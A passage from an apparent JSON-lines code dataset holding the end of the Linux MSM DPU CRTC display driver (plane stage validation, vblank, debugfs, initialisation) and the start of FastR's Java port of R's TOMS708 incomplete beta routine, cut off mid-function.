sizeof(pipe_staged));\n\n\tmixer_width = mode->hdisplay / cstate->num_mixers;\n\n\t_dpu_crtc_setup_lm_bounds(crtc, state);\n\n\tcrtc_rect.x2 = mode->hdisplay;\n\tcrtc_rect.y2 = mode->vdisplay;\n\n\t /* get plane state for all drm planes associated with crtc state */\n\tdrm_atomic_crtc_state_for_each_plane_state(plane, pstate, state) {\n\t\tstruct drm_rect dst, clip = crtc_rect;\n\n\t\tif (IS_ERR_OR_NULL(pstate)) {\n\t\t\trc = PTR_ERR(pstate);\n\t\t\tDPU_ERROR(\"%s: failed to get plane%d state, %d\\n\",\n\t\t\t\t\tdpu_crtc->name, plane->base.id, rc);\n\t\t\tgoto end;\n\t\t}\n\t\tif (cnt >= DPU_STAGE_MAX * 4)\n\t\t\tcontinue;\n\n\t\tpstates[cnt].dpu_pstate = to_dpu_plane_state(pstate);\n\t\tpstates[cnt].drm_pstate = pstate;\n\t\tpstates[cnt].stage = pstate->normalized_zpos;\n\t\tpstates[cnt].pipe_id = dpu_plane_pipe(plane);\n\n\t\tif (pipe_staged[pstates[cnt].pipe_id]) {\n\t\t\tmultirect_plane[multirect_count].r0 =\n\t\t\t\tpipe_staged[pstates[cnt].pipe_id];\n\t\t\tmultirect_plane[multirect_count].r1 = pstate;\n\t\t\tmultirect_count++;\n\n\t\t\tpipe_staged[pstates[cnt].pipe_id] = NULL;\n\t\t} else {\n\t\t\tpipe_staged[pstates[cnt].pipe_id] = pstate;\n\t\t}\n\n\t\tcnt++;\n\n\t\tdst = drm_plane_state_dest(pstate);\n\t\tif (!drm_rect_intersect(&clip, &dst)) {\n\t\t\tDPU_ERROR(\"invalid vertical/horizontal destination\\n\");\n\t\t\tDPU_ERROR(\"display: \" DRM_RECT_FMT \" plane: \"\n\t\t\t\t DRM_RECT_FMT \"\\n\", DRM_RECT_ARG(&crtc_rect),\n\t\t\t\t DRM_RECT_ARG(&dst));\n\t\t\trc = -E2BIG;\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tfor (i = 1; i < SSPP_MAX; i++) {\n\t\tif (pipe_staged[i]) {\n\t\t\tdpu_plane_clear_multirect(pipe_staged[i]);\n\n\t\t\tif (is_dpu_plane_virtual(pipe_staged[i]->plane)) {\n\t\t\t\tDPU_ERROR(\n\t\t\t\t\t\"r1 only virt plane:%d not supported\\n\",\n\t\t\t\t\tpipe_staged[i]->plane->base.id);\n\t\t\t\trc = -EINVAL;\n\t\t\t\tgoto end;\n\t\t\t}\n\t\t}\n\t}\n\n\tz_pos = -1;\n\tfor (i = 0; i < cnt; i++) {\n\t\t/* reset counts at every new blend stage */\n\t\tif (pstates[i].stage != z_pos) {\n\t\t\tleft_zpos_cnt = 0;\n\t\t\tright_zpos_cnt = 0;\n\t\t\tz_pos = pstates[i].stage;\n\t\t}\n\n\t\t/* verify z_pos setting before using it */\n\t\tif (z_pos >= DPU_STAGE_MAX - DPU_STAGE_0) {\n\t\t\tDPU_ERROR(\"> %d plane stages assigned\\n\",\n\t\t\t\t\tDPU_STAGE_MAX - DPU_STAGE_0);\n\t\t\trc = -EINVAL;\n\t\t\tgoto end;\n\t\t} else if (pstates[i].drm_pstate->crtc_x < mixer_width) {\n\t\t\tif (left_zpos_cnt == 2) {\n\t\t\t\tDPU_ERROR(\"> 2 planes @ stage %d on left\\n\",\n\t\t\t\t\tz_pos);\n\t\t\t\trc = -EINVAL;\n\t\t\t\tgoto end;\n\t\t\t}\n\t\t\tleft_zpos_cnt++;\n\n\t\t} else {\n\t\t\tif (right_zpos_cnt == 2) {\n\t\t\t\tDPU_ERROR(\"> 2 planes @ stage %d on right\\n\",\n\t\t\t\t\tz_pos);\n\t\t\t\trc = -EINVAL;\n\t\t\t\tgoto end;\n\t\t\t}\n\t\t\tright_zpos_cnt++;\n\t\t}\n\n\t\tpstates[i].dpu_pstate->stage = z_pos + DPU_STAGE_0;\n\t\tDPU_DEBUG(\"%s: zpos %d\", dpu_crtc->name, z_pos);\n\t}\n\n\tfor (i = 0; i < multirect_count; i++) {\n\t\tif (dpu_plane_validate_multirect_v2(&multirect_plane[i])) {\n\t\t\tDPU_ERROR(\n\t\t\t\"multirect validation failed for planes (%d - %d)\\n\",\n\t\t\t\t\tmultirect_plane[i].r0->plane->base.id,\n\t\t\t\t\tmultirect_plane[i].r1->plane->base.id);\n\t\t\trc = -EINVAL;\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\trc = dpu_core_perf_crtc_check(crtc, state);\n\tif (rc) {\n\t\tDPU_ERROR(\"crtc%d failed performance check %d\\n\",\n\t\t\t\tcrtc->base.id, rc);\n\t\tgoto end;\n\t}\n\n\t/* validate source split:\n\t * use pstates sorted by stage to check planes on same stage\n\t * we assume that all pipes are in source split so its valid to compare\n\t * without taking into account left/right mixer placement\n\t */\n\tfor (i = 1; i < cnt; i++) {\n\t\tstruct plane_state *prv_pstate, *cur_pstate;\n\t\tstruct drm_rect left_rect, right_rect;\n\t\tint32_t left_pid, right_pid;\n\t\tint32_t stage;\n\n\t\tprv_pstate = &pstates[i - 1];\n\t\tcur_pstate = &pstates[i];\n\t\tif (prv_pstate->stage != cur_pstate->stage)\n\t\t\tcontinue;\n\n\t\tstage = cur_pstate->stage;\n\n\t\tleft_pid = prv_pstate->dpu_pstate->base.plane->base.id;\n\t\tleft_rect = drm_plane_state_dest(prv_pstate->drm_pstate);\n\n\t\tright_pid = cur_pstate->dpu_pstate->base.plane->base.id;\n\t\tright_rect = drm_plane_state_dest(cur_pstate->drm_pstate);\n\n\t\tif (right_rect.x1 < left_rect.x1) {\n\t\t\tswap(left_pid, right_pid);\n\t\t\tswap(left_rect, right_rect);\n\t\t}\n\n\t\t/**\n\t\t * - planes are enumerated in pipe-priority order such that\n\t\t * planes with lower drm_id must be left-most in a shared\n\t\t * blend-stage when using source split.\n\t\t * - planes in source split must be contiguous in width\n\t\t * - planes in source split must have same dest yoff and height\n\t\t */\n\t\tif (right_pid < left_pid) {\n\t\t\tDPU_ERROR(\n\t\t\t\t\"invalid src split cfg. priority mismatch. stage: %d left: %d right: %d\\n\",\n\t\t\t\tstage, left_pid, right_pid);\n\t\t\trc = -EINVAL;\n\t\t\tgoto end;\n\t\t} else if (right_rect.x1 != drm_rect_width(&left_rect)) {\n\t\t\tDPU_ERROR(\"non-contiguous coordinates for src split. \"\n\t\t\t\t \"stage: %d left: \" DRM_RECT_FMT \" right: \"\n\t\t\t\t DRM_RECT_FMT \"\\n\", stage,\n\t\t\t\t DRM_RECT_ARG(&left_rect),\n\t\t\t\t DRM_RECT_ARG(&right_rect));\n\t\t\trc = -EINVAL;\n\t\t\tgoto end;\n\t\t} else if (left_rect.y1 != right_rect.y1 ||\n\t\t\t drm_rect_height(&left_rect) != drm_rect_height(&right_rect)) {\n\t\t\tDPU_ERROR(\"source split at stage: %d. invalid \"\n\t\t\t\t \"yoff/height: left: \" DRM_RECT_FMT \" right: \"\n\t\t\t\t DRM_RECT_FMT \"\\n\", stage,\n\t\t\t\t DRM_RECT_ARG(&left_rect),\n\t\t\t\t DRM_RECT_ARG(&right_rect));\n\t\t\trc = -EINVAL;\n\t\t\tgoto end;\n\t\t}\n\t}\n\nend:\n\tkfree(pstates);\n\treturn rc;\n}\n\nint dpu_crtc_vblank(struct drm_crtc *crtc, bool en)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\tstruct drm_encoder *enc;\n\n\ttrace_dpu_crtc_vblank(DRMID(&dpu_crtc->base), en, dpu_crtc);\n\n\t/*\n\t * Normally we would iterate through encoder_mask in crtc state to find\n\t * attached encoders. In this case, we might be disabling vblank _after_\n\t * encoder_mask has been cleared.\n\t *\n\t * Instead, we \"assign\" a crtc to the encoder in enable and clear it in\n\t * disable (which is also after encoder_mask is cleared). So instead of\n\t * using encoder mask, we'll ask the encoder to toggle itself iff it's\n\t * currently assigned to our crtc.\n\t *\n\t * Note also that this function cannot be called while crtc is disabled\n\t * since we use drm_crtc_vblank_on/off. So we don't need to worry\n\t * about the assigned crtcs being inconsistent with the current state\n\t * (which means no need to worry about modeset locks).\n\t */\n\tlist_for_each_entry(enc, &crtc->dev->mode_config.encoder_list, head) {\n\t\ttrace_dpu_crtc_vblank_enable(DRMID(crtc), DRMID(enc), en,\n\t\t\t\t\t dpu_crtc);\n\n\t\tdpu_encoder_toggle_vblank_for_crtc(enc, crtc, en);\n\t}\n\n\treturn 0;\n}\n\n#ifdef CONFIG_DEBUG_FS\nstatic int _dpu_debugfs_status_show(struct seq_file *s, void *data)\n{\n\tstruct dpu_crtc *dpu_crtc;\n\tstruct dpu_plane_state *pstate = NULL;\n\tstruct dpu_crtc_mixer *m;\n\n\tstruct drm_crtc *crtc;\n\tstruct drm_plane *plane;\n\tstruct drm_display_mode *mode;\n\tstruct drm_framebuffer *fb;\n\tstruct drm_plane_state *state;\n\tstruct dpu_crtc_state *cstate;\n\n\tint i, out_width;\n\n\tdpu_crtc = s->private;\n\tcrtc = &dpu_crtc->base;\n\n\tdrm_modeset_lock_all(crtc->dev);\n\tcstate = to_dpu_crtc_state(crtc->state);\n\n\tmode = &crtc->state->adjusted_mode;\n\tout_width = mode->hdisplay / cstate->num_mixers;\n\n\tseq_printf(s, \"crtc:%d width:%d height:%d\\n\", crtc->base.id,\n\t\t\t\tmode->hdisplay, mode->vdisplay);\n\n\tseq_puts(s, \"\\n\");\n\n\tfor (i = 0; i < cstate->num_mixers; ++i) {\n\t\tm = &cstate->mixers[i];\n\t\tif (!m->hw_lm)\n\t\t\tseq_printf(s, \"\\tmixer[%d] has no lm\\n\", i);\n\t\telse if (!m->lm_ctl)\n\t\t\tseq_printf(s, \"\\tmixer[%d] has no ctl\\n\", i);\n\t\telse\n\t\t\tseq_printf(s, \"\\tmixer:%d ctl:%d width:%d height:%d\\n\",\n\t\t\t\tm->hw_lm->idx - LM_0, m->lm_ctl->idx - CTL_0,\n\t\t\t\tout_width, mode->vdisplay);\n\t}\n\n\tseq_puts(s, \"\\n\");\n\n\tdrm_atomic_crtc_for_each_plane(plane, crtc) {\n\t\tpstate = to_dpu_plane_state(plane->state);\n\t\tstate = plane->state;\n\n\t\tif (!pstate || !state)\n\t\t\tcontinue;\n\n\t\tseq_printf(s, \"\\tplane:%u stage:%d\\n\", plane->base.id,\n\t\t\tpstate->stage);\n\n\t\tif (plane->state->fb) {\n\t\t\tfb = plane->state->fb;\n\n\t\t\tseq_printf(s, \"\\tfb:%d image format:%4.4s wxh:%ux%u \",\n\t\t\t\tfb->base.id, (char *) &fb->format->format,\n\t\t\t\tfb->width, fb->height);\n\t\t\tfor (i = 0; i < ARRAY_SIZE(fb->format->cpp); ++i)\n\t\t\t\tseq_printf(s, \"cpp[%d]:%u \",\n\t\t\t\t\t\ti, fb->format->cpp[i]);\n\t\t\tseq_puts(s, \"\\n\\t\");\n\n\t\t\tseq_printf(s, \"modifier:%8llu \", fb->modifier);\n\t\t\tseq_puts(s, \"\\n\");\n\n\t\t\tseq_puts(s, \"\\t\");\n\t\t\tfor (i = 0; i < ARRAY_SIZE(fb->pitches); i++)\n\t\t\t\tseq_printf(s, \"pitches[%d]:%8u \", i,\n\t\t\t\t\t\t\tfb->pitches[i]);\n\t\t\tseq_puts(s, \"\\n\");\n\n\t\t\tseq_puts(s, \"\\t\");\n\t\t\tfor (i = 0; i < ARRAY_SIZE(fb->offsets); i++)\n\t\t\t\tseq_printf(s, \"offsets[%d]:%8u \", i,\n\t\t\t\t\t\t\tfb->offsets[i]);\n\t\t\tseq_puts(s, \"\\n\");\n\t\t}\n\n\t\tseq_printf(s, \"\\tsrc_x:%4d src_y:%4d src_w:%4d src_h:%4d\\n\",\n\t\t\tstate->src_x, state->src_y, state->src_w, state->src_h);\n\n\t\tseq_printf(s, \"\\tdst x:%4d dst_y:%4d dst_w:%4d dst_h:%4d\\n\",\n\t\t\tstate->crtc_x, state->crtc_y, state->crtc_w,\n\t\t\tstate->crtc_h);\n\t\tseq_printf(s, \"\\tmultirect: mode: %d index: %d\\n\",\n\t\t\tpstate->multirect_mode, pstate->multirect_index);\n\n\t\tseq_puts(s, \"\\n\");\n\t}\n\tif (dpu_crtc->vblank_cb_count) {\n\t\tktime_t diff = ktime_sub(ktime_get(), dpu_crtc->vblank_cb_time);\n\t\ts64 diff_ms = ktime_to_ms(diff);\n\t\ts64 fps = diff_ms ? div_s64(\n\t\t\t\tdpu_crtc->vblank_cb_count * 1000, diff_ms) : 0;\n\n\t\tseq_printf(s,\n\t\t\t\"vblank fps:%lld count:%u total:%llums total_framecount:%llu\\n\",\n\t\t\t\tfps, dpu_crtc->vblank_cb_count,\n\t\t\t\tktime_to_ms(diff), dpu_crtc->play_count);\n\n\t\t/* reset time & count for next measurement */\n\t\tdpu_crtc->vblank_cb_count = 0;\n\t\tdpu_crtc->vblank_cb_time = ktime_set(0, 0);\n\t}\n\n\tdrm_modeset_unlock_all(crtc->dev);\n\n\treturn 0;\n}\n\nstatic int _dpu_debugfs_status_open(struct inode *inode, struct file *file)\n{\n\treturn single_open(file, _dpu_debugfs_status_show, inode->i_private);\n}\n\n#define DEFINE_DPU_DEBUGFS_SEQ_FOPS(__prefix) \\\nstatic int __prefix ## _open(struct inode *inode, struct file *file)\t\\\n{\t\t\t\t\t\t\t\t\t\\\n\treturn single_open(file, __prefix ## _show, inode->i_private);\t\\\n}\t\t\t\t\t\t\t\t\t\\\nstatic const struct file_operations __prefix ## _fops = {\t\t\\\n\t.owner = THIS_MODULE,\t\t\t\t\t\t\\\n\t.open = __prefix ## _open,\t\t\t\t\t\\\n\t.release = single_release,\t\t\t\t\t\\\n\t.read = seq_read,\t\t\t\t\t\t\\\n\t.llseek = seq_lseek,\t\t\t\t\t\t\\\n}\n\nstatic int dpu_crtc_debugfs_state_show(struct seq_file *s, void *v)\n{\n\tstruct drm_crtc *crtc = (struct drm_crtc *) s->private;\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\n\tseq_printf(s, \"client type: %d\\n\", dpu_crtc_get_client_type(crtc));\n\tseq_printf(s, \"intf_mode: %d\\n\", dpu_crtc_get_intf_mode(crtc));\n\tseq_printf(s, \"core_clk_rate: %llu\\n\",\n\t\t\tdpu_crtc->cur_perf.core_clk_rate);\n\tseq_printf(s, \"bw_ctl: %llu\\n\", dpu_crtc->cur_perf.bw_ctl);\n\tseq_printf(s, \"max_per_pipe_ib: %llu\\n\",\n\t\t\t\tdpu_crtc->cur_perf.max_per_pipe_ib);\n\n\treturn 0;\n}\nDEFINE_DPU_DEBUGFS_SEQ_FOPS(dpu_crtc_debugfs_state);\n\nstatic int _dpu_crtc_init_debugfs(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\n\tstatic const struct file_operations debugfs_status_fops = {\n\t\t.open =\t\t_dpu_debugfs_status_open,\n\t\t.read =\t\tseq_read,\n\t\t.llseek =\tseq_lseek,\n\t\t.release =\tsingle_release,\n\t};\n\n\tdpu_crtc->debugfs_root = debugfs_create_dir(dpu_crtc->name,\n\t\t\tcrtc->dev->primary->debugfs_root);\n\n\tdebugfs_create_file(\"status\", 0400,\n\t\t\tdpu_crtc->debugfs_root,\n\t\t\tdpu_crtc, &debugfs_status_fops);\n\tdebugfs_create_file(\"state\", 0600,\n\t\t\tdpu_crtc->debugfs_root,\n\t\t\t&dpu_crtc->base,\n\t\t\t&dpu_crtc_debugfs_state_fops);\n\n\treturn 0;\n}\n#else\nstatic int _dpu_crtc_init_debugfs(struct drm_crtc *crtc)\n{\n\treturn 0;\n}\n#endif /* CONFIG_DEBUG_FS */\n\nstatic int dpu_crtc_late_register(struct drm_crtc *crtc)\n{\n\treturn _dpu_crtc_init_debugfs(crtc);\n}\n\nstatic void dpu_crtc_early_unregister(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\n\tdebugfs_remove_recursive(dpu_crtc->debugfs_root);\n}\n\nstatic const struct drm_crtc_funcs dpu_crtc_funcs = {\n\t.set_config = drm_atomic_helper_set_config,\n\t.destroy = dpu_crtc_destroy,\n\t.page_flip = drm_atomic_helper_page_flip,\n\t.reset = dpu_crtc_reset,\n\t.atomic_duplicate_state = dpu_crtc_duplicate_state,\n\t.atomic_destroy_state = dpu_crtc_destroy_state,\n\t.late_register = dpu_crtc_late_register,\n\t.early_unregister = dpu_crtc_early_unregister,\n};\n\nstatic const struct drm_crtc_helper_funcs dpu_crtc_helper_funcs = {\n\t.atomic_disable = dpu_crtc_disable,\n\t.atomic_enable = dpu_crtc_enable,\n\t.atomic_check = dpu_crtc_atomic_check,\n\t.atomic_begin = dpu_crtc_atomic_begin,\n\t.atomic_flush = dpu_crtc_atomic_flush,\n};\n\n/* initialize crtc */\nstruct drm_crtc *dpu_crtc_init(struct drm_device *dev, struct drm_plane *plane,\n\t\t\t\tstruct drm_plane *cursor)\n{\n\tstruct drm_crtc *crtc = NULL;\n\tstruct dpu_crtc *dpu_crtc = NULL;\n\tstruct msm_drm_private *priv = NULL;\n\tstruct dpu_kms *kms = NULL;\n\tint i;\n\n\tpriv = dev->dev_private;\n\tkms = to_dpu_kms(priv->kms);\n\n\tdpu_crtc = kzalloc(sizeof(*dpu_crtc), GFP_KERNEL);\n\tif (!dpu_crtc)\n\t\treturn ERR_PTR(-ENOMEM);\n\n\tcrtc = &dpu_crtc->base;\n\tcrtc->dev = dev;\n\n\tspin_lock_init(&dpu_crtc->spin_lock);\n\tatomic_set(&dpu_crtc->frame_pending, 0);\n\n\tinit_completion(&dpu_crtc->frame_done_comp);\n\n\tINIT_LIST_HEAD(&dpu_crtc->frame_event_list);\n\n\tfor (i = 0; i < ARRAY_SIZE(dpu_crtc->frame_events); i++) {\n\t\tINIT_LIST_HEAD(&dpu_crtc->frame_events[i].list);\n\t\tlist_add(&dpu_crtc->frame_events[i].list,\n\t\t\t\t&dpu_crtc->frame_event_list);\n\t\tkthread_init_work(&dpu_crtc->frame_events[i].work,\n\t\t\t\tdpu_crtc_frame_event_work);\n\t}\n\n\tdrm_crtc_init_with_planes(dev, crtc, plane, cursor, &dpu_crtc_funcs,\n\t\t\t\tNULL);\n\n\tdrm_crtc_helper_add(crtc, &dpu_crtc_helper_funcs);\n\n\t/* save user friendly CRTC name for later */\n\tsnprintf(dpu_crtc->name, DPU_CRTC_NAME_SIZE, \"crtc%u\", crtc->base.id);\n\n\t/* initialize event handling */\n\tspin_lock_init(&dpu_crtc->event_lock);\n\n\tDPU_DEBUG(\"%s: successfully initialized crtc\\n\", dpu_crtc->name);\n\treturn crtc;\n}\n"} +{"text": "/*\n * Copyright (c) 1995-2012, The R Core Team\n * Copyright (c) 2003, The R Foundation\n * Copyright (c) 2016, 2019, Oracle and/or its affiliates\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, a copy is available at\n * https://www.R-project.org/Licenses/\n */\npackage com.oracle.truffle.r.runtime.nmath;\n\nimport static com.oracle.truffle.r.runtime.nmath.Mach.d1mach;\nimport static com.oracle.truffle.r.runtime.nmath.Mach.i1mach;\nimport static com.oracle.truffle.r.runtime.nmath.MathConstants.M_LN_SQRT_2PI;\nimport static com.oracle.truffle.r.runtime.nmath.MathConstants.M_SQRT_PI;\nimport static com.oracle.truffle.r.runtime.nmath.MathConstants.logspaceAdd;\n\nimport com.oracle.truffle.api.CompilerDirectives.TruffleBoundary;\nimport com.oracle.truffle.r.runtime.RError;\nimport com.oracle.truffle.r.runtime.RError.Message;\nimport com.oracle.truffle.r.runtime.RInternalError;\nimport com.oracle.truffle.r.runtime.RRuntime;\nimport com.oracle.truffle.r.runtime.Utils;\n\n/*\n * transcribed from toms708.c - as the original file contains no copyright header, we assume that it is copyright R code and R foundation.\n */\n\npublic final class TOMS708 {\n private TOMS708() {\n // only static members\n }\n\n @SuppressWarnings(\"unused\")\n private static void debugPrintf(String format, Object... args) {\n // System.out.print(String.format(format, args));\n }\n\n @TruffleBoundary\n private static void emitWarning(String format, Object... args) {\n RError.warning(RError.SHOW_CALLER, Message.GENERIC, String.format(format, args));\n }\n\n private static double sin(double v) {\n return Math.sin(v);\n }\n\n private static double cos(double v) {\n return Math.cos(v);\n }\n\n private static double log(double v) {\n return Math.log(v);\n }\n\n private static double sqrt(double v) {\n return Math.sqrt(v);\n }\n\n private static double exp(double v) {\n return Math.exp(v);\n }\n\n public static double fabs(double v) {\n return Math.abs(v);\n }\n\n private static double pow(double a, double b) {\n return Math.pow(a, b);\n }\n\n private static double min(double a, double b) {\n return Math.min(a, b);\n }\n\n private static double max(double a, double b) {\n return Math.max(a, b);\n }\n\n private static final double ML_NEGINF = Double.NEGATIVE_INFINITY;\n private static final int INT_MAX = Integer.MAX_VALUE;\n\n public static final class Bratio {\n public double w;\n public double w1;\n public int ierr;\n\n private Bratio(double w, double w1, int ierr) {\n this.w = w;\n this.w1 = w1;\n this.ierr = ierr;\n }\n\n private enum States {\n Start,\n L131,\n L140,\n L_w_bpser,\n L_w1_bpser,\n L_end_from_w1_log,\n L_end_from_w1,\n L_end_from_w,\n L_bfrac,\n }\n\n private static Bratio result(double w, double w1, int ierr) {\n return new Bratio(w, w1, ierr);\n }\n\n public static Bratio bratio(double a, double b, double x, double y, boolean logP) {\n /*\n * -----------------------------------------------------------------------\n *\n * Evaluation of the Incomplete Beta function I_x(a,b)\n *\n * --------------------\n *\n * It is assumed that a and b are nonnegative, and that x <= 1 and y = 1 - x. Bratio\n * assigns w and w1 the values\n *\n * w = I_x(a,b) w1 = 1 - I_x(a,b)\n *\n * ierr is a variable that reports the status of the results. If no input errors are\n * detected then ierr is set to 0 and w and w1 are computed. otherwise, if an error is\n * detected, then w and w1 are assigned the value 0 and ierr is set to one of the\n * following values ...\n *\n * ierr = 1 if a or b is negative ierr = 2 if a = b = 0 ierr = 3 if x < 0 or x > 1 ierr\n * = 4 if y < 0 or y > 1 ierr = 5 if x + y != 1 ierr = 6 if x = a = 0 ierr = 7 if y = b\n * = 0 ierr = 8 \"error\" in bgrat()\n *\n * -------------------- Written by Alfred H. Morris, Jr. Naval Surface Warfare Center\n * Dahlgren, Virginia Revised ... Nov 1991\n * -----------------------------------------------------------------------\n */\n\n double w;\n double w1;\n int ierr = 0;\n\n boolean doSwap = false;\n int n = 0;\n double z = 0;\n double a0 = 0;\n double b0 = 0;\n double x0 = 0;\n double y0 = 0;\n double eps = 0;\n double lambda = 0;\n\n /*\n * eps is a machine dependent constant: the smallest floating point number for which 1.0\n * + eps > 1.0\n */\n eps = RRuntime.EPSILON; /* == DBL_EPSILON (in R, Rmath) */\n\n /* ----------------------------------------------------------------------- */\n w = DPQ.rd0(logP);\n w1 = DPQ.rd0(logP);\n\n if (a < 0.0 || b < 0.0) {\n return result(w, w1, 1);\n }\n if (a == 0.0 && b == 0.0) {\n return result(w, w1, 2);\n }\n if (x < 0.0 || x > 1.0) {\n return result(w, w1, 3);\n }\n if (y < 0.0 || y > 1.0) {\n return result(w, w1, 4);\n }\n\n /* check that 'y == 1 - x' : */\n z = x + y - 0.5 - 0.5;\n\n if (Math.abs(z) > eps * 3.0) {\n return result(w, w1, 5);\n }\n debugPrintf(\"bratio(a=%f, b=%f, x=%9f, y=%9f, .., log_p=%b): \", a, b, x, y, logP);\n\n if (x == 0.0) {\n if (a == 0.0) {\n return result(w, w1, 6);\n }\n // else:\n w = DPQ.rd0(logP);\n w1 = DPQ.rd1(logP);\n return result(w, w1, 0);\n }\n if (y == 0.0) {\n if (b == 0.0) {\n return result(w, w1, 7);\n }\n // else:\n w = DPQ.rd1(logP);\n w1 = DPQ.rd0(logP);\n return result(w, w1, 0);\n }\n\n if (a == 0.0) {\n // else:\n w = DPQ.rd1(logP);\n w1 = DPQ.rd0(logP);\n return result(w, w1, 0);\n }\n if (b == 0.0) {\n w = DPQ.rd0(logP);\n w1 = DPQ.rd1(logP);\n return result(w, w1, 0);\n }\n\n eps = Math.max(eps, 1e-15);\n boolean aLtB = a < b;\n if (/* max(a,b) */(aLtB ? b : a) < eps * .001) {\n /* procedure for a and b < 0.001 * eps */\n // L230: -- result *independent* of x (!)\n // *w = a/(a+b) and w1 = b/(a+b) :\n if (logP) {\n if (aLtB) {\n w = Math.log1p(-a / (a + b)); // notably if a << b\n w1 = Math.log(a / (a + b));\n } else { // b <= a\n w = Math.log(b / (a + b));\n w1 = Math.log1p(-b / (a + b));\n }\n } else {\n w = b / (a + b);\n w1 = a / (a + b);\n }\n debugPrintf(\"a & b very small -> simple ratios (%f,%f)\\n\", w, w1);\n return result(w, w1, 0);\n }\n\n States state = States.Start;\n Bgrat bgrat = new Bgrat();\n L_end: while (true) {\n while (true) {\n switch (state) {\n case Start:\n\n if (Math.min(a, b) <= 1.) { /*------------------------ a <= 1 or b <= 1 ---- */\n\n doSwap = (x > 0.5);\n if (doSwap) {\n a0 = b;\n x0 = y;\n b0 = a;\n y0 = x;\n } else {\n a0 = a;\n x0 = x;\n b0 = b;\n y0 = y;\n }\n /* now have x0 <= 1/2 <= y0 (still x0+y0 == 1) */\n debugPrintf(\" min(a,b) <= 1, do_swap=%b;\", doSwap);\n\n if (b0 < Math.min(eps, eps * a0)) { /* L80: */\n w = fpser(a0, b0, x0, eps, logP);\n w1 = logP ? DPQ.rlog1exp(w) : 0.5 - w + 0.5;\n debugPrintf(\" b0 small -> w := fpser(*) = %.15f\\n\", w);\n break L_end;\n }\n\n if (a0 < Math.min(eps, eps * b0) && b0 * x0 <= 1.0) { /* L90: */\n w1 = apser(a0, b0, x0, eps);\n debugPrintf(\" a0 small -> w1 := apser(*) = %.15fg\\n\", w1);\n state = States.L_end_from_w1;\n continue;\n }\n\n boolean didBup = false;\n if (Math.max(a0, b0) > 1.0) {\n /* L20: min(a,b) <= 1 < max(a,b) */\n debugPrintf(\"\\n L20: min(a,b) <= 1 < max(a,b); \");\n if (b0 <= 1.0) {\n state = States.L_w_bpser;\n continue;\n }\n\n if (x0 >= 0.29) {\n /* was 0.3, PR#13786 */\n state = States.L_w1_bpser;\n continue;\n }\n\n if (x0 < 0.1 && Math.pow(x0 * b0, a0) <= 0.7) {\n state = States.L_w_bpser;\n continue;\n }\n\n if (b0 > 15.0) {\n w1 = 0.;\n state = States.L131;\n }\n } else { /* a, b <= 1 */\n debugPrintf(\"\\n both a,b <= 1; \");\n if (a0 >= Math.min(0.2, b0)) {\n state = States.L_w_bpser;\n continue;\n }\n\n if (Math.pow(x0, a0) <= 0.9) {\n state = States.L_w_bpser;\n continue;\n }\n\n if (x0 >= 0.3) {\n state = States.L_w1_bpser;\n continue;\n }\n }\n if (state != States.L131) {\n n = 20; /* goto L130; */\n w1 = bup(b0, a0, y0, x0, n, eps, false);\n debugPrintf(\" ... n=20 and *w1 := bup(*) = %.15f; \", w1);\n didBup = true;\n\n b0 += n;\n }\n debugPrintf(\" L131: bgrat(*, w1=%.15f) \", w1);\n bgrat.w = w1;\n bgrat.bgrat(b0, a0, y0, x0, 15 * eps, false);\n w1 = bgrat.w;\n\n if (w1 == 0 || (0 < w1 && w1 < 1e-310)) { // w1=0 or very close:\n // \"almost surely\" from underflow, try more: [2013-03-04]\n // FIXME: it is even better to do this in bgrat *directly* at\n // least for the case\n // !did_bup, i.e., where *w1 = (0 or -Inf) on entry\n if (didBup) { // re-do that part on log scale:\n w1 = bup(b0 - n, a0, y0, x0, n, eps, true);\n } else {\n w1 = Double.NEGATIVE_INFINITY; // = 0 on log-scale\n }\n bgrat.w = w1;\n bgrat.bgrat(b0, a0, y0, x0, 15 * eps, true);\n w1 = bgrat.w;\n if (bgrat.ierr != 0) {\n ierr = 8;\n }\n state = States.L_end_from_w1_log;\n continue;\n }\n // else\n if (bgrat.ierr != 0) {\n ierr = 8;\n }\n if (w1 < 0) {\n RError.warning(RError.SHOW_CALLER, Message.GENERIC, Utils.stringFormat(\"bratio(a=%f, b=%f, x=%f): bgrat() -> w1 = %f\", a, b, x, w1));\n }\n state = States.L_end_from_w1;\n continue;\n } else { /*\n * L30: -------------------- both a, b > 1 {a0 > 1 & b0 > 1}\n * ---\n */\n\n if (a > b) {\n lambda = (a + b) * y - b;\n } else {\n lambda = a - (a + b) * x;\n }\n\n doSwap = (lambda < 0.0);\n if (doSwap) {\n lambda = -lambda;\n a0 = b;\n x0 = y;\n b0 = a;\n y0 = x;\n } else {\n a0 = a;\n x0 = x;\n b0 = b;\n y0 = y;\n }\n\n debugPrintf(\" L30: both a, b > 1; |lambda| = %f, do_swap = %b\\n\", lambda, doSwap);\n\n if (b0 < 40.0) {\n debugPrintf(\" b0 < 40;\");\n if (b0 * x0 <= 0.7 || (logP && lambda > 650.)) {\n state = States.L_w_bpser;\n continue;\n } else {\n state = States.L140;\n continue;\n }\n } else if (a0 > b0) { /* ---- a0 > b0 >= 40 ---- */\n debugPrintf(\" a0 > b0 >= 40;\");\n if (b0 <= 100.0 || lambda > b0 * 0.03) {\n state = States.L_bfrac;\n continue;\n }\n } else if (a0 <= 100.0) {\n debugPrintf(\" a0 <= 100; a0 <= b0 >= 40;\");\n state = States.L_bfrac;\n continue;\n } else if (lambda > a0 * 0.03) {\n debugPrintf(\" b0 >= a0 > 100; lambda > a0 * 0.03 \");\n state = States.L_bfrac;\n continue;\n }\n\n /* else if none of the above L180: */\n w = basym(a0, b0, lambda, eps * 100.0, logP);\n w1 = logP ? DPQ.rlog1exp(w) : 